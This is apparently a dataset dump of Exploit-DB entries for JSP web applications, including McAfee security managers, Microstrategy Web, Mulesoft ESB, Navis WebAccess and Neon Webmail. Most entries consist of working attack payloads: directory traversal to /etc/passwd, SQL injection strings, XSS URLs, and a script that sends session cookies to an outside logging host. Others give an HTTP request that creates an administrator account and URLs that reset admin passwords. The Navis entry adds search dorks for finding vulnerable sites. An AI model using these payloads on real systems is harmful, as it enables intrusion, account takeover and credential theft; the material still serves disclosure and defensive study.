deardaniel/secdata-raw huggingface dataset:
Exploit-DB #32368
Description: McAfee Asset Manager 6.6 - Multiple Vulnerabilities
Type: webapps
Platform: jsp
Date: 2014-03-19
Author: Brandon Perry

Exploit:
Cloud SSO is vuln to unauthed XSS in the authentication audit form:

https://twitter.com/BrandonPrry/status/[PII_REDACTED]56943104

McAfee Asset Manager v6.6 multiple vulnerabilities

http://www.mcafee.com/us/products/asset-manager.aspx

Authenticated arbitrary file read
An unprivileged authenticated user can download arbitrary files with the permissions of the web server using the report download functionality.
By generating a report, the user's browser will make a request to /servlet/downloadReport?reportFileName=blah. The user can put in a relative directory traversal attack and download /etc/passwd.

GET /servlet/downloadReport?reportFileName=../../../../../../../../etc/passwd&format=CSV HTTP/1.1
Host: 172.31.16.167
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:26.0) Gecko/20100101 Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://172.31.16.167/Inventory?filterColumns=&curViewId=-1&maintainQuery=true&format=search&collectorId=null&criticality=0&pageNum=1&location=Inventory&viewSelect=-999999&filterValueField=&orderBy=FIREWALLED&orderBy2=SITE&orderBy3=CRITICALITY_NAME&wsz=200&wszCtrl_1=200&action=AUDIT_REDISCOVER&formatSelect=
Cookie: JSESSIONID=F92156C7962D8276FC4BF11CEA8FB554
Connection: keep-alive


Authenticated SQL injection

An unprivileged authenticated user can initiate a SQL injection attack by creating an audit report and controlling the username specified in the audit report. In the below request, the 'user' parameter is susceptible to the SQL injection:

POST /jsp/reports/ReportsAudit.jsp HTTP/1.1
Host: 172.31.16.167
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:26.0) Gecko/20100101 Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://172.31.16.167/jsp/reports/ReportsAudit.jsp
Cookie: JSESSIONID=F92156C7962D8276FC4BF11CEA8FB554
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 91

fromDate=03-19-2014&toDate=03-19-2014&freetext=&Severity=0&AuditType=12&user=Administrator


-- 
http://volatile-minds.blogspot.com -- blog
http://www.volatileminds.net -- website
Exploit-DB #25946
Description: McAfee IntruShield Security Management System - Multiple Vulnerabilities
Type: webapps
Platform: jsp
Date: 2005-07-06
Author: c0ntex

Exploit:
source: https://www.securityfocus.com/bid/14167/info

McAfee IntruShield Security Management System is susceptible to multiple vulnerabilities.

The first two issues are cross-site scripting vulnerabilities in the 'intruvert/jsp/systemHealth/SystemEvent.jsp' script. These issues are due to a failure of the application to properly sanitize user-supplied data prior to utilizing it in dynamically generated HTML.

The next two issues are authorization bypass vulnerabilities leading to information disclosure and the ability to acknowledge, de-acknowledge, and delete security alerts.

These vulnerabilities require a valid user account in the affected application. 

https://www.example.com/intruvert/jsp/systemHealth/SystemEvent.jsp?fullAccess=false&faultResourceName=Manager&domainName=%2FDemo%3A0&resourceName=%2FDemo%3A0%2FManager&resourceType=Manager&topMenuName=SystemHealthManager&secondMenuName=Faults&resourceId=-1&thirdMenuName=<iframe%20src="http://www.example2.com/"%20width=800%20height=600></iframe>&severity=critical&count=1
https://www.example.com/intruvert/jsp/systemHealth/SystemEvent.jsp?fullAccess=false&faultResourceName=Manager&domainName=Demo&resourceName=<script>alert("trouble_ahead")</script><script>alert(document.cookie)</script>&resourceType=Manager&topMenuName=SystemHealthManager&secondMenuName=Faults&resourceId=-1&thirdMenuName=Critical&severity=critical&count=1

Example URIs for the authentication bypass vulnerabilities:
https://www.example.com:443/intruvert/jsp/reports/reports-column-center.jsp?monitoredDomain=%2FDemo&selectedDomain=0&fullAccessRight=true
https://www.example.com/intruvert/jsp/systemHealth/SystemEvent.jsp?fullAccess=true&faultResourceName=Manager&domainName=%2FDemo%3A0&resourceName=%Demo%3A0%2FManager&resourceType=Manager&topMenuName=SystemHealthManager&secondMenuName=Faults&resourceId=-1&thirdMenuName=Critical&severity=critical&count=1
Exploit-DB #33347
Description: McAfee Network Security Manager 5.1.7 - Information Disclosure
Type: webapps
Platform: jsp
Date: 2009-11-06
Author: Daniel King

Exploit:
source: https://www.securityfocus.com/bid/37004/info

McAfee Network Security Manager is prone to an information-disclosure vulnerability because it fails to properly protect sensitive cookie data with the 'HTTPOnly' protection mechanism.

A successful exploit may allow attackers to steal cookie-based authentication credentials; information harvested may aid in further attacks.

This issue affects McAfee Network Security Manager 5.1.7.7; other versions may also be affected.


https://www.example.com/intruvert/jsp/module/Login.jsp?[CREDENTIAL_REDACTED]=&node=&iaction=precreatefcb1
4%22%3E%3Cscript%3Enew%20Image().src=%22http://x.x.x.x/mcafee/log.cgi?c=%22%2BencodeURI(document.cookie);%3C/script%3E8b3283a1e57
Exploit-DB #33346
Description: McAfee Network Security Manager 5.1.7 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: jsp
Date: 2009-11-06
Author: Daniel King

Exploit:
source: https://www.securityfocus.com/bid/37003/info

McAfee Network Security Manager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

These issues affect McAfee Network Security Manager 5.1.7.7; other versions may also be affected. 

https://www.example.com/intruvert/jsp/module/Login.jsp?[CREDENTIAL_REDACTED]=&node=&iaction=precreatefcb14"><script>alert('XSS')</script>8b3283a1e57

https://www.example.com/intruvert/jsp/module/Login.jsp?[CREDENTIAL_REDACTED]=&node=8502a"><script>alert(1)</script>2aa99b60533&iaction=precreatefcb14"><script>alert(â??XSSâ??)</script>8b3283a1e57
Exploit-DB #10059
Description: McAfee Network Security Manager < 5.1.11.8.1 - Information Disclosure
Type: webapps
Platform: jsp
Date: 2009-11-12
Author: Daniel King

Exploit:
To exploit this issue, an attacker must entice an unsuspecting user to view a malicious webpage.

The following proof of concept uses a cross-site scripting attack to leverage this issue:

https://www.example.com/intruvert/jsp/module/Login.jsp?[CREDENTIAL_REDACTED]=&node=&iaction=precreatefcb1
4%22%3E%3Cscript%3Enew%20Image().src=%22http://x.x.x.x/mcafee/log.cgi?c=%22%2BencodeURI(document.cookie);%3C/script%3E8b3283a1e57
Exploit-DB #10061
Description: McAfee Network Security Manager < 5.1.11.8.1 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: jsp
Date: 2009-11-12
Author: Daniel King

Exploit:
Attackers can exploit these issues by enticing an unsuspecting victim into following a malicious URI.

The following example URIs are available:

https://www.example.com/intruvert/jsp/module/Login.jsp?[CREDENTIAL_REDACTED]=&node=&iaction=precreatefcb14"><script>alert('XSS')</script>8b3283a1e57 

https://www.example.com/intruvert/jsp/module/Login.jsp?[CREDENTIAL_REDACTED]=&node=8502a"><script>alert(1)</script>2aa99b60533&iaction=precreatefcb14"><script>alert(â??XSSâ??)</script>8b3283a1e57
Exploit-DB #45755
Description: Microstrategy Web 7 - Cross-Site Scripting / Directory Traversal
Type: webapps
Platform: jsp
Date: 2018-10-30
Author: Rafael Pedrero

Exploit:
<!--
# Exploit Title: Path traversal vulnerability in Microstrategy Web version 7
# Date: 29-10-2018
# Exploit Author: Rafael Pedrero
# Vendor Homepage: https://www.microstrategy.com
# Software Link: https://www.microstrategy.com
# Version: Microstrategy Web version 7
# Tested on: all
# CVE : CVE-2018-18777
# Category: webapps

1. Description

Directory traversal vulnerability in Microstrategy Web, version 7, in
"/WebMstr7/servlet/mstrWeb" (in the parameter subpage) allows remote
authenticated users to bypass intended SecurityManager restrictions and
list a parent directory via a /.. (slash dot dot) in a pathname used by a
web application.


2. Proof of Concept

http://X.X.X.X/WebMstr7/servlet/mstrWeb?evt=3045&src=mstrWeb.3045&subpage=../../../../../../../../etc/passwd

3. Solution:

The product is discontinued. Update to last version this product.
Patch:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#XSS_Prevention_Rules

-->

<!--
# Exploit Title: Cross Site Scripting in Microstrategy Web version 7
# Date: 29-10-2018
# Exploit Author: Rafael Pedrero
# Vendor Homepage: https://www.microstrategy.com
# Software Link: https://www.microstrategy.com
# Version: Microstrategy Web version 7
# Tested on: Unix
# CVE : CVE-2018-18775
# Category: webapps

1. Description

Microstrategy Web, version 7, does not sufficiently encode user-controlled
inputs, resulting in a Cross-Site Scripting (XSS) vulnerability via the
Login.asp Msg parameter.


2. Proof of Concept

http://X.X.X.X/microstrategy7/Login.asp?Server=Server001&Project=Project001&Port=0&Uid=Uid001&Msg=
"><script>alert("XSS");</script><"

3. Solution:

The product is discontinued. Update to last version this product.
Patch:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#XSS_Prevention_Rules

-->

<!--
# Exploit Title: Cross Site Scripting in Microstrategy Web version 7
# Date: 29-10-2018
# Exploit Author: Rafael Pedrero
# Vendor Homepage: https://www.microstrategy.com
# Software Link: https://www.microstrategy.com
# Version: Microstrategy Web version 7
# Tested on: all
# CVE : CVE-2018-18776
# Category: webapps

1. Description

Microstrategy Web, version 7, does not sufficiently encode user-controlled
inputs, resulting in a Cross-Site Scripting (XSS) vulnerability via the
admin.asp ShowAll parameter.


2. Proof of Concept

http://X.X.X.X/microstrategy7/admin/admin.asp?ShowAll=
"><script>alert("XSS")</script><"&ShowAllServers=show

3. Solution:

The product is discontinued. Update to last version this product.
Patch:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#XSS_Prevention_Rules

-->
Exploit-DB #35079
Description: Mulesoft ESB Runtime 3.5.1 - Privilege Escalation
Type: webapps
Platform: jsp
Date: 2014-10-27
Author: Brandon Perry

Exploit:
Mulesoft ESB Runtime 3.5.1 Authenticated Privilege Escalation → Remote Code
Execution



 Mulesoft ESB Runtime 3.5.1 allows any arbitrary authenticated user to
create an administrator user due to a lack of permissions check in the
handler/securityService.rpc endpoint. The following HTTP request can be
made by any authenticated user, even those with a single role of Monitor.


 POST /mmc-3.5.1/handler/securityService.rpc HTTP/1.1

Host: 192.168.0.22:8585

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:31.0)
Gecko/20100101 Firefox/31.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: text/x-gwt-rpc; charset=utf-8/

Referer: http://192.168.0.22:8585/mmc-3.5.1/index.jsp

Content-Length: 503

Cookie: JSESSIONID=CEB49ED5E239CB7AB6B7C02DD83170A4;

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache

 7|0|15|http://192.168.0.22:8585/mmc-3.5.1/com.mulesoft.mmc.MMC/
|5192695B02944BAAB195B91AB3FDDA48|org.mule.galaxy.web.rpc.RemoteSecurityService|addUser|org.mule.galaxy.web.rpc.WUser/[PII_REDACTED]|java.lang.String/[PII_REDACTED]|
fdsafdsa@fdsafdsa.com
|java.util.ArrayList/[PII_REDACTED]|298e8098-ff3e-4d13-b37e-3f3d33193ed9|ed4cbe90-085d-4d44-976c-436eb1d78d16|ccd8aee7-30bb-42e1-8218-cfd9261c7af9|d63c1710-e811-4c3c-aeb6-e474742ac084|fdsa|notadmin|notpassword|1|2|3|4|2|5|6|5|7|8|4|6|9|6|10|6|11|6|12|0|13|0|0|14|15|


 This request will create an administrator with all roles with a username
of notadmin and a password of notpassword. Many vectors of remote code
execution are available to an administrator. Not only can an administrator
deploy WAR applications, they can also evaluate arbitrary groovy scripts
via the web interface.

-- 
http://volatile-minds.blogspot.com -- blog
http://www.volatileminds.net -- website
Exploit-DB #32655
Description: Multiple Ad Server Solutions Products - 'logon_processing.jsp' SQL Injection
Type: webapps
Platform: jsp
Date: 2008-12-11
Author: 3d D3v!L

Exploit:
source: https://www.securityfocus.com/bid/32782/info

Multiple Ad Server Solutions products are prone to SQL-injection vulnerabilities because they fail to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The following Ad Server Solutions products are vulnerable:

Ad Management Software
Affiliate Software 

The following example data is available:

username: r0' or ' 1=1--
password: r0' or ' 1=1--
Exploit-DB #40216
Description: Navis Webaccess - SQL Injection
Type: webapps
Platform: jsp
Date: 2016-08-08
Author: bRpsd

Exploit:
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
 
Product -> Navis WebAccess - SQL Injection
Date -> 8/8/2016
Author -> bRpsd
Skype: vegnox
Vendor HomePage -> http://www.navis.com/
Product Download -> http://navis.com/pr_webaccess.jsp (currently under maintenance)
Product Version -> Express/All
DBMS -> Oracle
Tested on > Apache/2.0.54 (Win32)

 
{{ Dorks }}

"Copyright © 2016 Navis, A Zebra Technologies Company"
"Confidential Information of Navis, A Zebra Technologies Company"
inurl:GKEY= ext:do
inurl:/express/secure/Today.jsp
navis.com webaccess
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

 
 #############
 |DESCRIPTION|
 #############
"Navis WebAccess is a web-based application that provides all parties across the terminal with an easy-to-use web browser interface for accessing a wealth of transaction data that was previously inaccessible from outside the terminal. All terminal constitiuents, including shipping lines, trucking companies, port authorities, government agencies, agents, shippers, consignees, distribution centers and depots are better served with 24/7 access to real-time container, vessel and truck transaction information. Users can view load and discharge lists, reports, and EDO details as well as view and make appointments, set and release holds, download and upload EDI files and pay for demurrage."

 
 
Vulnerability: SQL Injection
File: /express/showNotice.do
Vul Parameter: GKEY

 
================================================================================================
Test #1

http://localhost:9000/express/showNotice.do?report_type=1&GKEY=2'
 
 
Response Error:

ORA-00933: SQL command not properly ended
================================================================================================


Test #2 => Payload (Proof Of Concept)

http://localhost:9000/express/showNotice.do?report_type=1&GKEY=2 AND 9753=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(106)||CHR(118)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (9753=9753) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(107)||CHR(107)||CHR(118)||CHR(113)||CHR(62))) FROM DUAL)


Response Error:

ORA-00600: internal error code, arguments: [733], [277608912], [pga heap], [], [], [], [], [], [], [], [], [] ORA-06512: at "SYS.XMLTYPE", line 310 ORA-06512: at line 1
======================================================================================================================================================================================

~
Exploit-DB #28607
Description: NeoSys Neon Webmail for Java 5.06/5.07 - 'addrlist' Servlet Multiple SQL Injections
Type: webapps
Platform: jsp
Date: 2006-09-20
Author: Tan Chew Keong

Exploit:
source: https://www.securityfocus.com/bid/20109/info
  
Neon WebMail is prone to multiple input-validation vulnerabilities because it fails to sanitize user-supplied input. These issues include:
  
- an arbitrary-file-upload vulnerability
- an arbitrary-email-manipulation vulnerability
- multiple SQL-injection vulnerabilities
- an unauthorized-access vulnerability
- multiple directory-traversal vulnerabilities
- an HTML-injection vulnerability. 
  
An attacker can exploit these issues to compromise the affected application.
  
Versions 5.06 and 5.07 (build.200607050) are vulnerable to these issue; prior versions may also be affected.

http://www.example.com/neonwebmail/addrlist?PAGE=1&sysid=0&adr_sortkey=rand(benchmark[PII_REDACTED]000, sha1('[PII_REDACTED][PII_REDACTED]678')))&adr_sortkey_desc= ID, SELECT * FROM T_ADDR_BOOK WHERE ID = 'username' ORDER BYrand(benchmark[PII_REDACTED]000,sha1('[PII_REDACTED][PII_REDACTED]678'))),SYSID DESC
Exploit-DB #28605
Description: NeoSys Neon Webmail for Java 5.06/5.07 - 'downloadfile' Servlet Traversal Arbitrary File Access
Type: webapps
Platform: jsp
Date: 2006-09-20
Author: Tan Chew Keong

Exploit:
source: https://www.securityfocus.com/bid/20109/info

Neon WebMail is prone to multiple input-validation vulnerabilities because it fails to sanitize user-supplied input. These issues include:

- an arbitrary-file-upload vulnerability
- an arbitrary-email-manipulation vulnerability
- multiple SQL-injection vulnerabilities
- an unauthorized-access vulnerability
- multiple directory-traversal vulnerabilities
- an HTML-injection vulnerability. 

An attacker can exploit these issues to compromise the affected application.

Versions 5.06 and 5.07 (build.200607050) are vulnerable to these issue; prior versions may also be affected.

http://www.example.com/neonwebmail/downloadfile?filename=filename.ext&savefolder=[traversal]&savefilename=[traversal]
Exploit-DB #28608
Description: NeoSys Neon Webmail for Java 5.06/5.07 - 'maillist' Servlet Multiple SQL Injections
Type: webapps
Platform: jsp
Date: 2006-09-20
Author: Tan Chew Keong

Exploit:
source: https://www.securityfocus.com/bid/20109/info
   
Neon WebMail is prone to multiple input-validation vulnerabilities because it fails to sanitize user-supplied input. These issues include:
   
- an arbitrary-file-upload vulnerability
- an arbitrary-email-manipulation vulnerability
- multiple SQL-injection vulnerabilities
- an unauthorized-access vulnerability
- multiple directory-traversal vulnerabilities
- an HTML-injection vulnerability. 
   
An attacker can exploit these issues to compromise the affected application.
   
Versions 5.06 and 5.07 (build.200607050) are vulnerable to these issue; prior versions may also be affected.

http://www.example.com/neonwebmail/maillist?getpost=get&PAGE=1&folderid=-1&sysid=0&sortkey=SENDER, rand(benchmark[PII_REDACTED]000,sha1('[PII_REDACTED][PII_REDACTED]678')))&sortkey_desc=&sendkind=&searchlist=
Exploit-DB #28606
Description: NeoSys Neon Webmail for Java 5.06/5.07 - 'updatemail' Servlet Arbitrary Mail Message Manipulation
Type: webapps
Platform: jsp
Date: 2006-09-20
Author: Tan Chew Keong

Exploit:
source: https://www.securityfocus.com/bid/20109/info
 
Neon WebMail is prone to multiple input-validation vulnerabilities because it fails to sanitize user-supplied input. These issues include:
 
- an arbitrary-file-upload vulnerability
- an arbitrary-email-manipulation vulnerability
- multiple SQL-injection vulnerabilities
- an unauthorized-access vulnerability
- multiple directory-traversal vulnerabilities
- an HTML-injection vulnerability. 
 
An attacker can exploit these issues to compromise the affected application.
 
Versions 5.06 and 5.07 (build.200607050) are vulnerable to these issue; prior versions may also be affected.

http://www.example.com/neonwebmail/updatemail?ID=1&getpost=get&folderid=-1&tofolderid=-9&status=1&execute=move
http://www.example.com/neonwebmail/updatemail?ID=1&getpost=get&folderid=-9&tofolderid=100&status=1&execute=move
Exploit-DB #28609
Description: NeoSys Neon Webmail for Java 5.06/5.07 - 'updateuser?in_id' Servlet Arbitrary User Information Modification
Type: webapps
Platform: jsp
Date: 2006-09-20
Author: Tan Chew Keong

Exploit:
source: https://www.securityfocus.com/bid/20109/info
    
Neon WebMail is prone to multiple input-validation vulnerabilities because it fails to sanitize user-supplied input. These issues include:
    
- an arbitrary-file-upload vulnerability
- an arbitrary-email-manipulation vulnerability
- multiple SQL-injection vulnerabilities
- an unauthorized-access vulnerability
- multiple directory-traversal vulnerabilities
- an HTML-injection vulnerability. 
    
An attacker can exploit these issues to compromise the affected application.
    
Versions 5.06 and 5.07 (build.200607050) are vulnerable to these issue; prior versions may also be affected.

http://www.example.com/neonwebmail/updateuser?in_id=admin&in_pass=hacked&in_name=admin&in_admin=1&
in_showmailcount=10&in_usecss=1&in_autopoptime=5&in_replysign=&in_isquotation=1&in_formwidth=50&exe=update
http://www.example.com/neonwebmail/updateuser?in_id=guest&in_pass=guest&in_name=guest&in_admin=1&
in_showmailcount=20&in_usecss=1&in_autopoptime=5&in_poppop=1&in_replysign=&in_formwidth=80&exe=update
http://www.example.com/neonwebmail/updateuser?in_id=admin&exe=read
http://www.example.com/neonwebmail/updateuser?in_id=super&in_pass=super&in_name=super&in_admin=1&
in_showmailcount=10&in_usecss=1&in_autopoptime=5&in_replysign=&in_isquotation=1&in_formwidth=50&exe=insert
Exploit-DB #28610
Description: NeoSys Neon Webmail for Java 5.06/5.07 - 'updateuser?in_name' Servlet Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2006-09-20
Author: Tan Chew Keong

Exploit:
source: https://www.securityfocus.com/bid/20109/info
     
Neon WebMail is prone to multiple input-validation vulnerabilities because it fails to sanitize user-supplied input. These issues include:
     
- an arbitrary-file-upload vulnerability
- an arbitrary-email-manipulation vulnerability
- multiple SQL-injection vulnerabilities
- an unauthorized-access vulnerability
- multiple directory-traversal vulnerabilities
- an HTML-injection vulnerability. 
     
An attacker can exploit these issues to compromise the affected application.
     
Versions 5.06 and 5.07 (build.200607050) are vulnerable to these issue; prior versions may also be affected.

http://www.example.com/neonwebmail/updateuser?in_id=admin&in_pass=hacked&
in_name=<script>alert(document.cookie);</script>&in_admin=1&in_showmailcount=10&
in_usecss=1&in_autopoptime=5&in_replysign=&in_isquotation=1&in_formwidth=50&exe=update
Exploit-DB #26354
Description: NetFlow Analyzer 4 - Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2005-10-18
Author: why@nsfocus.com

Exploit:
source: https://www.securityfocus.com/bid/15127/info

NetFlow Analyzer 4 is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com:8080/netflow/jspui/index.jsp?grID=-1&view=groups&grDisp=<h1>test</h1>
http://www.example.com:8080/netflow/jspui/index.jsp?grID=-1&view=groups&grDisp=<script>alert("test")</script>
http://www.example.com:8080/netflow/jspui/index.jsp?grID=-1&view=groups&grDisp=<script>alert(document.cookie)</script>